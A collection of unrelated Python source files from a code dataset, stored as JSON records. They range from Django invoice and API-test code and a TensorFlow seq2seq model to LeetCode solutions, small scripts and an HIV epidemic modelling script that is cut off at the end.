..node_service.request_receiver.request_receiver_messages import RequestStatus\nfrom ..node_table.request import Request\nfrom .database_manager import DatabaseManager\n\n\nclass RequestManager(DatabaseManager):\n\n schema = Request\n\n def __init__(self, database: Engine) -> None:\n super().__init__(schema=RequestManager.schema, db=database)\n\n def first(self, **kwargs: Any) -> Request:\n result = super().first(**kwargs)\n if not result:\n raise RequestError\n\n return result\n\n def create_request(self, **kwargs: Any) -> Request:\n date = datetime.now()\n return self.register(id=str(UID().value), date=date, **kwargs)\n\n def status(self, request_id: str) -> RequestStatus:\n _req = self.first(id=request_id)\n if _req.status == \"pending\":\n return RequestStatus.Pending\n elif _req.status == \"accepted\":\n return RequestStatus.Accepted\n else:\n return RequestStatus.Rejected\n\n def set(self, request_id: int, status: RequestStatus) -> None:\n self.modify({\"id\": request_id}, {\"status\": status})\n\n def get_user_info(self, request_id: int) -> Dict:\n request: Optional[Request] = super().first(id=request_id)\n if request:\n return {\n \"name\": request.user_name,\n \"email\": request.user_email,\n \"role\": request.user_role,\n \"current_budget\": request.user_budget,\n \"institution\": request.institution,\n \"website\": request.website,\n }\n else:\n return {}\n\n def get_req_info(self, request_id: int) -> Dict:\n request: Optional[Request] = super().first(id=request_id)\n if request:\n return {\n \"id\": request.id,\n \"date\": str(request.date),\n \"status\": request.status,\n \"reason\": request.reason,\n \"request_type\": request.request_type,\n \"current_budget\": request.current_budget,\n \"requested_budget\": request.requested_budget,\n \"review\": {\n \"name\": request.reviewer_name,\n \"role\": request.reviewer_role,\n \"updated_on\": str(request.updated_on),\n \"comment\": request.reviewer_comment,\n },\n }\n else:\n return {}\n\n def clear(self) -> None:\n local_session = sessionmaker(bind=self.db)()\n local_session.query(self.schema).delete()\n local_session.commit()\n local_session.close()\n","sub_path":"packages/syft/src/syft/core/node/common/node_manager/request_manager.py","file_name":"request_manager.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"55782812","text":"from chatterbot import ChatBot\n\nbot = ChatBot(\n 'Norman',\n storage_adapter='chatterbot.storage.SQLStorageAdapter',\n input_adapter='chatterbot.input.TerminalAdapter',\n output_adapter='chatterbot.output.TerminalAdapter',\n # logic_adapters=[\n # # 'chatterbot.logic.MathematicalEvaluation',\n # # 'chatterbot.logic.TimeLogicAdapter'\n # ],\n database='./database.sqlite3',\n trainer='chatterbot.trainers.ChatterBotCorpusTrainer'\n)\n\nbot.train('chatterbot.corpus.english')\n\nprint('Hello!')\nwhile True:\n try:\n bot_input = bot.get_response(None)\n except(KeyboardInterrupt, EOFError, SystemExit):\n break\n","sub_path":"chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"481343149","text":"from RNN import bidirectional_rnn as didirect\nfrom tensorflow.python.ops.rnn_cell import RNNCell\nimport random\nfrom tensorflow.python.ops import variable_scope as vs\nfrom tensorflow.python.ops import array_ops\nimport tensorflow as tf\nfrom DBCell import Signal\nfrom DBCell import SignalCell\n\nclass Seq2seq(object):\n def __init__(self,rCell,tCell,attention,outputLayer,hidden_size,bantch_size,session):\n self.bucket = [10,20,30,40,50]\n self.rCell = rCell\n self.tCell = tCell\n self.attention = attention\n self.outputLayer = outputLayer\n self.session = session\n self.label = tf.placeholder(tf.float32,shape=[25,3],name=\"label\")\n self.promises_feeds = []\n self.hypothesis_feeds =[]\n self.predictions = []\n self.loss =[]\n self.updates =[]\n self.accurates =[]\n for i in xrange(50):\n self.promises_feeds.append(tf.placeholder(tf.float32,shape=[25,300],name=\"promise{0}\".format(i)))\n self.hypothesis_feeds.append(tf.placeholder(tf.float32,shape=[25,300],name=\"hypothesis{0}\".format(i)))\n # construct RNN for different bucket =>[10,20,30,40,50]\n self.construct()\n\n def train(self,bucket_set,promise,hypothesis,label):\n idx = bucket_set/10-1\n dict ={self.label:label}\n for i in xrange(bucket_set):\n dict[self.promises_feeds[i].name] = promise[:][i]\n print(hypothesis[i])\n dict[self.hypothesis_feeds[i].name] = hypothesis[:][i]\n _,l,a=self.session.run([self.updates[idx],self.loss[idx],self.accurates[idx]],feed_dict=dict)\n return l,a\n\n def prediction(self):\n print(\"\")\n\n def construct(self):\n init_state = tf.zeros([1,self.rCell.input_size])\n state = array_ops.concat(1,[init_state,init_state])\n for b in self.bucket:\n h_p,h_h= reading(self.promises_feeds[:b],self.hypothesis_feeds[:b],self.rCell,initial_state_fw=state)\n hh_p= deepThinker(h_p,self.tCell)\n hh_h= deepThinker(h_h,self.tCell)\n f_p = self.attention(hh_p,init_state)\n f_h = self.attention(hh_h,f_p)\n label_pred =self.outputLayer(f_h)\n cross_entropy = -tf.reduce_sum(self.label*tf.log(label_pred))\n self.loss.append(cross_entropy)\n update = tf.train.AdamOptimizer().minimize(cross_entropy)\n self.updates.append(update)\n accurate = tf.cast(tf.equal(tf.argmax(label_pred,0),tf.argmax(self.label,0)),tf.float32)\n self.accurates.append(accurate)\n\n# Reading is a bidirectional DB LSTM\ndef reading(promise,hypothesis,cell,initial_state_fw=None, initial_state_bw=None,\n dtype=None, sequence_length=None, scope=None):\n \"\"\"\n :param promise: the set of word vectors of promise sentence\n :param hypothesis: the set of word vectors of hypothesis sentence\n :param cell: type of RNN cell, options -> (GRU,LSTM,DBCell)\n :return: The forward and backward hidden state of inputs\n \"\"\"\n h_p = didirect(cell,cell,promise,initial_state_fw=initial_state_fw,initial_state_bw=initial_state_fw)\n h_h = didirect(cell,cell,hypothesis,initial_state_fw=initial_state_fw,initial_state_bw=initial_state_fw)\n return h_p,h_h\n\n# deepThinker is a RNN with signal from cell gate\ndef deepThinker(inputs,cell,ref=None):\n \"\"\"\n Description:\n\n :param p: Hidden states of promise sentence\n :param h: Hidden states of hypothesis sentence\n :param ref:\n :return: A similarity measurement between p and h\n \"\"\"\n length= len(inputs)\n s = Signal(length)\n if not isinstance(cell,RNNCell):\n raise TypeError(\"Cell must be an instance of RNNCell\")\n if not isinstance(cell,SignalCell):\n raise TypeError(\"Cell is not an signal cell\")\n if not isinstance(inputs,list):\n raise TypeError(\"the inputs must be a list\")\n if not inputs:\n raise ValueError(\"inputs must not be empty\")\n state = tf.zeros(inputs[0].get_shape())\n # First layer standard LSTM layer but return a signal from each cell\n\n with vs.variable_scope(\"think\"):\n fixed_batch_size = inputs[0].get_shape().with_rank_at_least(1)[0]\n if fixed_batch_size.value:\n batch_size = fixed_batch_size.value\n else:\n batch_size = array_ops.shape(inputs[0])[0]\n memory = []\n outputs = []\n def update(): return tf.constant(1.0,shape=(1,1))\n def reset(): return tf.constant(0.0,shape=(1,1))\n for time,input_ in enumerate(inputs):\n if time > 0:\n vs.get_variable_scope().reuse_variables()\n (output,state) = cell(input_,state)\n outputs.append(output)\n one_h=one_hot(time,length)\n updates = tf.cast(tf.greater(cell.signal,tf.constant(0.0)),tf.float32)\n s.set(one_h)\n memory.append(s.signal)\n memory[time-1] = tf.mul((1-i),memory[time-1])\n\n else:\n (output,state) = cell(input_,state)\n outputs.append(output)\n one_h=one_hot(time,length)\n s.set(one_h)\n memory.append(s.signal)\n # append signal of the last node\n\n return episode(outputs,memory)\n\ndef episode(inputs,memory):\n outputs = []\n shape = inputs[0].get_shape()\n inputs = tf.squeeze(tf.pack(inputs))\n for idx,m in enumerate(memory):\n total_m = tf.reduce_sum(m,1)\n truth = tf.squeeze(tf.greater(total_m,tf.constant(0.0)))\n def f1(): return tf.div(tf.reduce_sum(tf.mul(tf.transpose(m),inputs),0,keep_dims=True),total_m)\n def f2(): return tf.zeros(shape)\n output = tf.cond(truth,f1,f2)\n outputs.append(output)\n return outputs\n\ndef one_hot(idx,len):\n one = tf.ones([1,1])\n tail = len-1-idx\n if(idx == 0):\n return array_ops.concat(1,[one,tf.zeros([1,len-1])])\n elif(tail ==0):\n return array_ops.concat(1,[tf.zeros([1,idx]),one])\n else:\n return array_ops.concat(1,[tf.zeros([1,idx]),one,tf.zeros([1,tail])])","sub_path":"RNN/seq2seq_inference.py","file_name":"seq2seq_inference.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"635932768","text":"\"\"\"\nhttps://leetcode.com/problems/online-majority-element-in-subarray/\n\nSince the element is a majority element, we random pick one element, we have 50% chance of picking the desired element.\n\nIf we do the picking for 10 times, our chance of missing it is 1/2^10.\n\nSo we store the indices of the element. We random pick an element from the subarray, then do binary search to find the left and right in the indices array, next check whether its occurance exceed threshold.\n\nSo time complexity is O(10logN)\n\"\"\"\n\nclass MajorityChecker:\n\n def __init__(self, arr):\n a2i = collections.defaultdict(list)\n for i, x in enumerate(arr):\n a2i[x].append(i)\n self.A, self.a2i = arr, a2i\n\n def query(self, left: int, right: int, threshold: int) -> int:\n for _ in range(10):\n a = self.A[random.randint(left, right)]\n l = bisect.bisect_left(self.a2i[a], left)\n r = bisect.bisect_right(self.a2i[a], right)\n if r - l >= threshold:\n return a\n return -1\n\n\n# Your MajorityChecker object will be instantiated and called as such:\n# obj = MajorityChecker(arr)\n# param_1 = obj.query(left,right,threshold)\n","sub_path":"1157_OnlineMajorityElementInSubarray.py","file_name":"1157_OnlineMajorityElementInSubarray.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"165953417","text":"from datetime import date, timedelta\n\nstart_100days = date(2017, 3, 30)\npybites_founded = date(2016, 12, 19)\npycon_date = date(2018, 5, 8)\n\ndef get_hundred_days_end_date():\n \"\"\"Return a string of yyyy-mm-dd\"\"\"\n days = timedelta(days=100)\n return str(start_100days + days)\n\n\ndef get_days_between_pb_start_first_joint_pycon():\n \"\"\"Return the int number of days\"\"\"\n deltadays = pycon_date - pybites_founded\n return deltadays.days\n \n\nprint(\"100 Days End Date:\", get_hundred_days_end_date())\nprint(\"Days Between Startup and Pycon:\", get_days_between_pb_start_first_joint_pycon())","sub_path":"100days/days/01-03-datetimes/code/bite67.py","file_name":"bite67.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"324709035","text":"# 使用Beautiful Soup的屏幕抓取程序\nfrom urllib import request\nfrom bs4 import BeautifulSoup\nresponse = request.urlopen(\"http://python.org/community/jobs\").read()\nsoup = BeautifulSoup(response)\n\njobs = set()\nfor header in soup('h3'):\n links = header('a', 'reference')\n if not links: continue\n link = links[0]\n jobs.add('%s (%s)' % (link.string, link['href']))\n\nprint('\\n'.join(sorted(jobs, key=lambda s:s.lower())))\n","sub_path":"pythonBasic/net/beautifulsoup_test_01.py","file_name":"beautifulsoup_test_01.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"239005862","text":"from urllib import request\r\n\r\npdf_url='http://samplecsvs.s3.amazonaws.com/SalesJan2009.csv'\r\n\r\ndef downloadPdf(url):\r\n response=request.urlopen(url) #Store the connection to the webpage url in response\r\n pdf=response.read() #read from response and store the text in pdf variable\r\n pdf_str=str(pdf) #convert data read from url to string\r\n\r\n lines=pdf_str.split('\\\\n')\r\n dest_url=r'Saved File.txt'\r\n fx=open(dest_url,'w')\r\n for a in lines:\r\n fx.write(a+'\\n')\r\n fx.close()\r\n\r\ndownloadPdf(pdf_url)\r\n","sub_path":"New folder/Download File From Web.py","file_name":"Download File From Web.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"538951152","text":"import json\n\nfrom django.core.urlresolvers import reverse\n\nfrom bluebottle.organizations.models import Organization\nfrom bluebottle.test.utils import BluebottleTestCase\nfrom rest_framework import status\n\nfrom bluebottle.test.factory_models.accounts import BlueBottleUserFactory\nfrom bluebottle.test.factory_models.organizations import (\n OrganizationFactory, OrganizationMemberFactory)\n\n\nclass OrganizationsEndpointTestCase(BluebottleTestCase):\n \"\"\"\n Base class for test cases for ``organizations`` module.\n\n The testing classes for ``organization`` module related to the API must\n subclass this.\n \"\"\"\n\n def setUp(self):\n super(OrganizationsEndpointTestCase, self).setUp()\n\n self.user_1 = BlueBottleUserFactory.create()\n self.user_1_token = \"JWT {0}\".format(self.user_1.get_jwt_token())\n\n self.user_2 = BlueBottleUserFactory.create()\n\n self.organization_1 = OrganizationFactory.create()\n self.organization_2 = OrganizationFactory.create()\n self.organization_3 = OrganizationFactory.create()\n\n self.member_1 = OrganizationMemberFactory.create(\n user=self.user_1, organization=self.organization_1)\n self.member_2 = OrganizationMemberFactory.create(\n user=self.user_1, organization=self.organization_2)\n self.member_3 = OrganizationMemberFactory.create(\n user=self.user_2, organization=self.organization_3)\n\n\nclass OrganizationListTestCase(OrganizationsEndpointTestCase):\n \"\"\"\n Test case for ``OrganizationsList`` API view.\n \"\"\"\n\n def test_api_organizations_list_endpoint(self):\n \"\"\"\n Tests that the list of organizations can be obtained from its\n endpoint.\n \"\"\"\n response = self.client.get(reverse('organization_list'))\n\n self.assertEqual(response.status_code, 200)\n\n # We received the three organizations created.\n data = json.loads(response.content)\n self.assertEqual(data['count'], 3)\n\n\nclass OrganizationDetailTestCase(OrganizationsEndpointTestCase):\n \"\"\"\n Test case for ``OrganizationsList`` API view.\n\n Endpoint: /api/bb_organizations/{pk}\n \"\"\"\n\n def test_api_organizations_detail_endpoint(self):\n response = self.client.get(\n reverse('organization_detail',\n kwargs={'pk': self.organization_1.pk}))\n\n self.assertEqual(response.status_code, 200)\n\n\nclass ManageOrganizationListTestCase(OrganizationsEndpointTestCase):\n \"\"\"\n Test case for ``ManageOrganizationsList`` API view.\n\n Endpoint: /api/bb_organizations/manage/\n \"\"\"\n\n def test_api_manage_organizations_list_user_filter(self):\n \"\"\"\n Tests that the organizations returned are those which belongs to the\n logged-in user.\n \"\"\"\n response = self.client.get(\n reverse('manage_organization_list'), token=self.user_1_token)\n\n self.assertEqual(response.status_code, 200)\n\n # The user ``user_1`` only have membership for two organizations now.\n data = json.loads(response.content)\n self.assertEqual(data['count'], 2)\n\n def test_api_manage_organizations_list_post(self):\n \"\"\"\n Tests POSTing new data to the endpoint.\n \"\"\"\n post_data = {\n 'name': '1% Club',\n 'address_line1': \"'s Gravenhekje 1a\",\n 'address_line2': '1011 TG',\n 'city': 'Amsterdam',\n 'state': 'North Holland',\n 'country': self.organization_1.country.pk,\n 'postal_code': '1011TG',\n 'phone_number': '(+31) 20 715 8980',\n 'website': 'http://onepercentclub.com',\n 'email': 'info@onepercentclub.com',\n }\n\n response = self.client.post(\n reverse('manage_organization_list'),\n post_data,\n token=self.user_1_token)\n\n self.assertEqual(response.status_code, 201)\n\n # Check the data.\n organization = Organization.objects.latest('pk')\n self.assertEqual(organization.name, post_data['name'])\n self.assertEqual(organization.slug, '1-club')\n self.assertEqual(\n organization.address_line1, post_data['address_line1'])\n self.assertEqual(\n organization.address_line2, post_data['address_line2'])\n self.assertEqual(organization.city, post_data['city'])\n self.assertEqual(organization.state, post_data['state'])\n self.assertEqual(organization.country.pk, post_data['country'])\n self.assertEqual(organization.postal_code, post_data['postal_code'])\n self.assertEqual(organization.phone_number, post_data['phone_number'])\n self.assertEqual(organization.website, post_data['website'])\n self.assertEqual(organization.email, post_data['email'])\n\n\nclass ManageOrganizationDetailTestCase(OrganizationsEndpointTestCase):\n \"\"\"\n Test case for ``OrganizationsList`` API view.\n\n Endpoint: /api/bb_organizations/manage/{pk}\n \"\"\"\n\n def test_manage_organizations_detail_login_required(self):\n \"\"\"\n Tests that the endpoint first restricts results to logged-in users.\n \"\"\"\n # Making the request without logging in...\n response = self.client.get(\n reverse('manage_organization_detail',\n kwargs={'pk': self.organization_1.pk}))\n self.assertEqual(\n response.status_code, status.HTTP_401_UNAUTHORIZED, response.data)\n\n def test_manage_organizations_detail_user_restricted(self):\n \"\"\"\n Tests that the endpoint restricts the access to the users who have\n membership for the requested organization.\n \"\"\"\n # Requesting an organization for which the user have no membership...\n response = self.client.get(\n reverse('manage_organization_detail',\n kwargs={'pk': self.organization_3.pk}),\n token=self.user_1_token)\n\n # ...it fails.\n self.assertEqual(response.status_code, 403)\n\n def test_manage_organizations_detail_get_success(self):\n \"\"\"\n Tests a successful GET request over the endpoint.\n \"\"\"\n response = self.client.get(reverse('manage_organization_detail',\n kwargs={\n 'pk': self.organization_1.pk}),\n token=self.user_1_token)\n\n self.assertEqual(response.status_code, 200)\n\n def test_manage_organizations_detail_put_success(self):\n \"\"\"\n Tests a successful PUT request over the endpoint.\n \"\"\"\n put_data = {\n 'name': 'New name',\n 'address_line1': 'new address',\n 'address_line2': 'new address (2)',\n 'city': 'Utrecht',\n 'state': 'Utrecht',\n 'country': self.organization_1.country.pk,\n 'postal_code': '3581WJ',\n 'phone_number': '(+31) 20 123 4567',\n 'website': 'http://www.utrecht.nl',\n 'email': 'info@utrecht.nl',\n }\n\n response = self.client.put(\n reverse('manage_organization_detail',\n kwargs={'pk': self.organization_1.pk}),\n put_data, token=self.user_1_token)\n\n self.assertEqual(response.status_code, 200)\n\n # Check the data.\n organization = Organization.objects.get(\n pk=self.organization_1.pk)\n self.assertEqual(organization.name, put_data['name'])\n self.assertEqual(organization.slug, self.organization_1.slug)\n self.assertEqual(organization.address_line1, put_data['address_line1'])\n self.assertEqual(organization.address_line2, put_data['address_line2'])\n self.assertEqual(organization.city, put_data['city'])\n self.assertEqual(organization.state, put_data['state'])\n self.assertEqual(organization.country.pk, put_data['country'])\n self.assertEqual(organization.postal_code, put_data['postal_code'])\n self.assertEqual(organization.phone_number, put_data['phone_number'])\n self.assertEqual(organization.website, put_data['website'])\n self.assertEqual(organization.email, put_data['email'])\n","sub_path":"bluebottle/organizations/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":8177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"262128379","text":"import numpy as np\nfrom PIL import ImageFont, ImageDraw, Image\nimport cv2\nimport time\n## Make canvas and set the color\nimg = np.zeros((150,2400,3),np.uint8)\nb,g,r,a = 0,255,0,0\n## Use bengali font to write bengali.\nfontpath = \"./Siyamrupali.ttf\"\nfont = ImageFont.truetype(fontpath, 24)\nimg_pil = Image.fromarray(img)\ndraw = ImageDraw.Draw(img_pil)\nf = open(\"input.txt\", \"r\")\ntext=f.read()\nf.close()\ndraw.text((80, 40),text, font = font, fill = (b, g, r, a))\nimg = np.array(img_pil)\ncv2.imwrite(\"./res2.png\", img)\n","sub_path":"Text2Images-Pillow/synthImgGen/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"191592977","text":"\"\"\" A Rolodex Full of Friends \"\"\"\n\n# dictionary of name/number pairs\nrolodex = {'Aaron' : 556069,\n 'Bill' : 55559824,\n 'Sam' : 5552603,\n 'David' : 5558331}\n\n# dictionary of name/number pairs\n# alternate declaration\nrolodex_2 = dict(\n Tom = 6477027102,\n Dick = 7057397049,\n Harry = 7188458932\n)\n\ndef caller_id(lookup_number):\n for name, num in rolodex_2.items():\n if num == lookup_number:\n return name\n\ndef caller_number(lookup_id):\n return rolodex_2.get(lookup_id, \"Not in rolodex.\")\n","sub_path":"python_tinkerings/python_fundamentals1/rolodex.py","file_name":"rolodex.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"53380143","text":"#Write a python function for checking the speed of drivers. This function should have one Parameter\n\n# \n# def check_speed(speed):\n# if speed <= 70:\n# return \"OK\"\n# \n# else:\n# x = (speed-70)//5\n# \n# if x <= 12:\n# return print (f\"Point: {x}\")\n# \n# else:\n# return print(\"Licence suspended\")\n# \n# enter = check_speed(int(input(\"Enter speed: \")))\n# (enter)\nimport os\nos.path.exists(path)\nos.path.isfile(filepath)\n\ntry:\n f = open(\"python.txt\", \"r\")\n data = f.read()\n print(data)\nexcept:\n print(\"Some error\")\n\n","sub_path":"Task7_Python.py","file_name":"Task7_Python.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"289628112","text":"import heapq\nclass Solution:\n # BRUTEFORCE: check all the possible factor of every number and add the numbers having only 2, 3, 5 in an array in result array, return the nth element\n # OPTIMIZED: HeapQ + Visited SET \n\n # O[1] Time\n # O[1] Space, constant to process 1690/ store 1690 numbers.\n def nthUglyNumber(self, n):\n visited = set()\n pq = []\n\n visited.add(1)\n heapq.heappush(pq, 1)\n i = 1\n while i < n:\n currentUgly = heapq.heappop(pq)\n for num in [2,3,5]:\n newUgly = currentUgly*num\n if newUgly not in visited:\n visited.add(newUgly)\n heapq.heappush(pq, newUgly)\n i += 1\n return heapq.heappop(pq)\n\n\n # OPTIMIZED DP\n def nthUglyNumber_optimized(self, n):\n i2 = i3 = i5 = 0\n nums = [1]\n \n for i in range(1, 1690):\n newUgly = min(nums[i2]*2, nums[i3]*3, nums[i5]*5)\n nums.append(newUgly)\n \n if newUgly == nums[i2]*2:\n i2 += 1\n if newUgly == nums[i3]*3:\n i3 += 1\n if newUgly == nums[i5]*5:\n i5 += 1\n \n return nums[n-1]\n\n\nobj = Solution()\nprint(obj.nthUglyNumber(50))","sub_path":"Heap/UglyNumber2.py","file_name":"UglyNumber2.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"448989884","text":"# -*- coding: utf-8 -*- \n\n#from reportlab.pdfgen import canvas\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.contrib.auth import authenticate, login\nfrom django.template import RequestContext\nfrom models import katalog, osoba, faktury, polozky_fa\n\nimport datetime\n\n\n\ndef login(request):\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n # Redirect to a success page.\n return redirect('/fa/')\n else:\n # Return a 'disabled account' error message\n return redirect('fa/login/')\n else:\n # Return an 'invalid login' error message.\t\n return redirect('fa/login/')\n\n\ndef fakturaTisk(request,faktura_id='20130101'):\n '''\n vypis faktury dle zadaneho id na obrazovku\n '''\n if not request.user.is_authenticated():\n return render_to_response('error.html', {'title' : 'Access denied', 'message' : 'Pro pristup k teto strance musite byt prihlasen!!!'})\n try:\n FA = faktury.objects.get(fa_id = faktura_id)\n fa = {}\n fa['fa_id'] = faktura_id\n fa['vystaveno'] = FA.vystaveno.strftime('%d.%m. %Y')\n fa['splatnost'] = (FA.vystaveno + datetime.timedelta(days=FA.splatnost)).strftime('%d.%m. %Y')\n POL = FA.polozky_fa_set.all()\n fa['pocet_polozek'] = POL.count()\n fa['polozky'] = []\n fa['doprava'] = FA.doprava\n fa['platba'] = FA.platba\n fa['cena_celkem'] = 0\n for pol in POL.all():\n JED_CENA = int(float(pol.kat_id.cena)*float(FA.odberatel.sleva))\n DPH = (pol.kat_id.dph / float(100)) + 1\n CELKEM = round(int(DPH * JED_CENA * pol.count),-1)\n fa['polozky'].append({\n 'jmeno' : pol.kat_id.jmeno ,\n 'dph' : pol.kat_id.dph,\n\t\t\t\t\t\t\t'comment'\t\t: pol.comment,\n 'cena_bez_slevy': round(int(DPH * pol.kat_id.cena), -1),\n 'pocet' : pol.count,\n 'cena_dph' : round(int(DPH * JED_CENA),-1),\n 'cena_zaklad' : int(JED_CENA * pol.count),\n 'cena_celkem' : CELKEM,\n })\n fa['cena_celkem'] += CELKEM\n \n fa['dodavatel'] = FA.dodavatel\n fa['odberatel'] = FA.odberatel\n fa['sleva'] = int(float(FA.odberatel.sleva)*100)\n return render_to_response(\"fakturaTisk.html\", fa, context_instance=RequestContext(request))\n except KeyError:\n return render_to_response('fakturaChyba.html', {'hlaska':\"pozadovana stranka nenalezena\"})\n\n\n\ndef fakturaSeznam(request):\n \"\"\"\n vypis seznamu faktur\n vraci:\n faktury.fa_id\n faktury.odberatel\n faktury.vystaveno\n faktury.celkem\n CELKEM\n \"\"\"\n if not request.user.is_authenticated():\n return render_to_response('error.html', {'title' : 'Access denied', 'message' : 'Pro pristup k teto strance musite byt prihlasen!!!'})\n data = {'faktury' : []}\n CELKEM = 0\n\t# jeste poladit, pokud bude uzivatel admin, vypise se mu vse\n\t# faktury.objects.filter(odberatel__jmeno = request.user)\n for fa in faktury.objects.all():\n faktura = {}\n faktura['fa_id'] = fa.fa_id\n faktura['odberatel'] = fa.odberatel.jmeno\n faktura['vystaveno'] = fa.vystaveno\n faktura['celkem'] = 0\n for pol in fa.polozky_fa_set.all():\n JED_CENA = int(float(pol.kat_id.cena)*float(fa.odberatel.sleva))\n DPH = (pol.kat_id.dph / float(100)) + 1\n faktura['celkem'] += round(int(DPH * JED_CENA * pol.count),-1)\n data['faktury'].append(faktura)\n CELKEM += int(faktura['celkem']) \n data['celkem'] = CELKEM\n return render_to_response(\"fakturaSeznam.html\", data, context_instance=RequestContext(request))\n\n\ndef cenikTisk(request, detail_id = None):\n\tdata = {'cenik' : [], 'detail' : None}\n\tfor pol in katalog.objects.all():\n\t\tpolozka = {}\n\t\tfor key, val in pol.__dict__.items():\n\t\t\tpolozka[key] = val \n\t\tpolozka['cena_dph'] = int(round(polozka['cena'] * 1.21, -1))\n\t\tdata['cenik'].append(polozka)\n\ttry:\n\t\tDETAIL = katalog.objects.get(kat_id = detail_id)\n\texcept:\n\t\tDETAIL = None\n\tfinally:\n\t\tdata['detail'] = DETAIL\n\treturn render_to_response('cenikTisk.html', data)\n\n\n\n\n\n\n\n#def pdfGen(request):\n #response = HttpResponse(content_type=\"aplication/pdf\")\n #response['Content-Disposition'] = 'attachment; filename=\"somefilename.pdf\"' \n\n #p = canvas.Canvas(response)\n #p.drawString(100,100, \"NEJAKY TEXT\")\n #p.showPage()\n #p.save()\n #return response\n","sub_path":"fakturace/fakturace/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"338383645","text":"\"\"\"\nCreated on Mon May 25 09:54:49 2015\n\"\"\"\n\nimport sys\nsys.path.append('/Users/robynstuart/Documents/Optima2/server/src/sim')\n\nverbose = 4\nnsims = 5\n\nprojectname = 'Senegal'\n\ntodo = [\n#'loadproject',\n#'rerun',\n#'updatedata',\n#'optimize',\n#'savefile',\n]\n\ntoplot = [\n'causedacquired',\n#'population',\n#'cascade',\n]\n\nif 'loadproject' in todo:\n origfile = '/Users/robynstuart/Google Drive/Optima/Optima applications/Senegal/Project files/Senegal_final_20151203.json'\n from dataio import loaddata\n D = loaddata(origfile)\n\n\nif 'rerun' in todo: \n from runsimulation import runsimulation\n D = runsimulation(D, makeplot = 0, dosave = False)\n \n \nif 'optimize' in todo:\n from optimize import optimize\n D = optimize(D, objectives=D['optimizations'][1]['objectives'], constraints=D['optimizations'][1]['constraints'], maxiters=3000, name=D['optimizations'][1]['name'])\n\n\nif 'savefile' in todo:\n from dataio import savedata\n newfile = '/Users/robynstuart/Google Drive/Optima/Optima applications/Togo/Project files/Togo 01 March 3.json'\n savedata(newfile, D)\n\nfrom pylab import figure, plot, hold, xlabel, ylabel, title, legend, fill_between\n\nif 'population' in toplot:\n print('\\n\\n\\n Plot population...')\n figure()\n hold(True)\n plot(D['opt']['partvec'], D['M']['popsize'].sum(axis=(0)))\n xlabel('Year')\n ylabel('Population')\n\nif 'plhiv' in toplot:\n print('\\n\\n\\n Plot PLHIV...')\n figure()\n hold(True)\n plot(D['opt']['partvec'], D['S']['people'][1:,:,:].sum(axis=(0,1)))\n xlabel('Year')\n ylabel('PLHIV')\n title('PLHIV', fontsize=10)\n\nif 'causedacquired' in toplot:\n print('\\n\\n\\n Plot caused to acquired ratios...')\n\n colors = ['#FF1493','#FFD700','#4682B4','#A0522D', '#4CC417', '#E56E94', '#E3E4FA', '#B93B8F', '#307D7E', '#7D312F', '#C6DEFF', '#E66C2C']\n\n from copy import deepcopy\n\n # Downsample to annual\n origtvec = deepcopy(D['opt']['partvec'])\n dt = origtvec[1]-origtvec[0]\n allindices = range(0, len(origtvec), int(round(1/dt)))\n indices = []\n for i in allindices:\n if origtvec[i]<=2031:\n indices.append(i)\n newtvec = [int(origtvec[i]) for i in indices]\n\n bottom = [0]*len(newtvec)\n thisdata = [0]*len(newtvec)\n\n figure()\n hold(True)\n for popno in range(12):\n thisdata += D['S']['acquirehiv'][popno,indices]\n fill_between(newtvec, bottom, thisdata, facecolor=colors[popno], alpha=1, lw=0)\n bottom = deepcopy(thisdata)\n plot([], [], color=colors[popno], linewidth=10)\n xlabel('Year')\n title('Infections acquired', fontsize=10)\n legend(D['data']['meta']['pops']['short'], 1, fontsize=8)\n\n bottom = [0]*len(newtvec)\n thisdata = [0]*len(newtvec)\n figure()\n hold(True)\n for popno in range(12):\n thisdata += D['S']['causehiv'][popno,indices]\n fill_between(newtvec, bottom, thisdata, facecolor=colors[popno], alpha=1, lw=0)\n bottom = deepcopy(thisdata) \n plot([], [], color=colors[popno], linewidth=10)\n xlabel('Year')\n title('Infections transmitted', fontsize=10)\n legend(D['data']['meta']['pops']['short'], 1, fontsize=8)\n\n\n from numpy import savetxt\n savetxt('/Users/robynstuart/Google Drive/Optima/Optima applications/Senegal/Model output/Senegal - infections caused.csv', (D['S']['causehiv'][:,indices]), delimiter=',')\n savetxt('/Users/robynstuart/Google Drive/Optima/Optima applications/Senegal/Model output/Senegal - infections acquired.csv', 